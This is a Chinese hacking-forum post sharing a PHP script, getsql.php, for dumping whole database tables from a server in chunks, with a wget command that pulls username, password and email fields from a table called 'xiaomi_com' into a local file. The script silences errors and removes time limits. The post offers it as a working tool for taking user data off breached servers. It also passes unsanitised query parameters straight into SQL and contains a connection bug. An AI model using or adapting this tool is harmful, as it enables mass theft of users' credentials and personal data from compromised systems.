腳本參考了 LCX Gavin2位前輩的帖子.在此表示很是的感謝.php
https://www.t00ls.net/thread-26740-1-1.htmlhtml
https://www.t00ls.net/thread-26791-1-1.htmlmysql
說明:腳本支持PDO和MYSQL 2種方式 優先使用PDO .若是服務器不支持PDO 就選擇MYSQL 方式. 我的認爲 PDO 的好處有效率高 代碼簡潔 通用性好 這代碼稍做改動就能夠拿去脫mssqlsql
不過用php和mssql組合的應該很少- -!thinkphp
使用方法 首先要腳本中配置好主機地址 端口 數據庫名稱 用戶名 密碼 以及數據庫的編碼方式(經常使用GPK 或者UTF8 設置不對中文字段可能會出現亂碼);shell
而後就是構造wget的url地址:參數由$_GET傳遞到服務器數據庫
t= //必須 表名 不然程序會退出服務器
f= //可選 須要脫的字段 經過英文逗號分割fetch
s= //可選 起始位置 如未設置從0開始編碼
e= //可選 結束位置 若是未設置爲所有數據
l= //可選 分段長度 默認設置爲5000
在shell終端下執行 wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 而後坐等下載
代碼:
<?php //使用方法: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt //借鑑了 LCX Gavin 2大前輩的腳本. // LCX [url=https://www.t00ls.net/thread-26740-1-1.html]https://www.t00ls.net/thread-26740-1-1.html[/url] // Gavin [url=https://www.t00ls.net/thread-26791-1-1.html]https://www.t00ls.net/thread-26791-1-1.html[/url] // error_reporting(0); ignore_user_abort(); set_time_limit(0); ob_clean(); define('DB_HOST', '127.0.0.1'); define('DB_PORT','3306'); define('DB_NAME', 'thinkphp'); define('DB_USER', 'root'); define('DB_PASS', 'wanan'); define('DB_CHAR', 'utf8'); $type=class_exists('PDO')?'PDO':'MYSQL'; $table=$_GET['t']?$_GET['t']:die('表名必須!'); //表名 必須 t $limit_start=$_GET['s']?intval($_GET['s']):0; //開始條數 可選 s 默認爲0 $limit_end=$_GET['e']?intval($_GET['e']):0; //結束條數 可選 e 默認爲全部 $limit_length=$_GET['l']?intval($_GET['l']):5000; //分段條數 可選 l 默認爲5000 $filed=$_GET['f']?$_GET['f']:'*'; //字段名 可選 f 用,分割沒有則爲所有字段 if($type=='PDO'){ $dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME; $options = array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR, ); try{ $dbh = new PDO($dsn,DB_USER,DB_PASS,$options); }catch (PDOException $e) { die('PDO ERROR!'); } $sql='SELECT COUNT(-1) FROM `'.$table.'`;'; $do=$dbh->query($sql); if($do){ $count=$do->fetch(); }else{ die('PDO COUNT ERROR'); } $limit_end=($limit_end)?$limit_end:$count[0]; $limit_end=$limit_end-$limit_start; $limit_length=$limit_end>$limit_length?$limit_length:$limit_end; $section=ceil($limit_end/$limit_length); if (ob_get_level() == 0){ ob_start(); }else{ die('PDO ERROR'); } for($i=0;$i<$section;$i++){ $sql='SELECT '.$filed.' FROM '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';'; $s=$dbh->query($sql); $arr=$s->fetchALL(PDO::FETCH_ASSOC); foreach ($arr as $value) { echo(implode(' ', $value)."\n"); } ob_end_flush(); } }else{ $link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS); if($link){ mysql_select_db(DB_NAME,$link); mysql_query('SET NAMES '.DB_CHAR); $sql='SELECT COUNT(-1) FROM `'.$table.'`;'; $count=mysql_fetch_array(mysql_query($sql)); $limit_end=($limit_end)?$limit_end:$count[0]; $limit_end=$limit_end-$limit_start; $limit_length=$limit_end>$limit_length?$limit_length:$limit_end; $section=ceil($limit_end/$limit_length); if (ob_get_level() == 0){ ob_start(); }else{ die('MYSQL ERROR'); } for($i=0;$i<$section;$i++){ $sql='SELECT '.$filed.' FROM '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';'; $a=mysql_query($sql); if($b=mysql_fetch_row($a)){ do{ echo(implode(' ', $b)."\n"); }while($b=mysql_fetch_row($a)); } ob_end_flush(); } }else{ die('MYSQL ERROR!'); } } ?>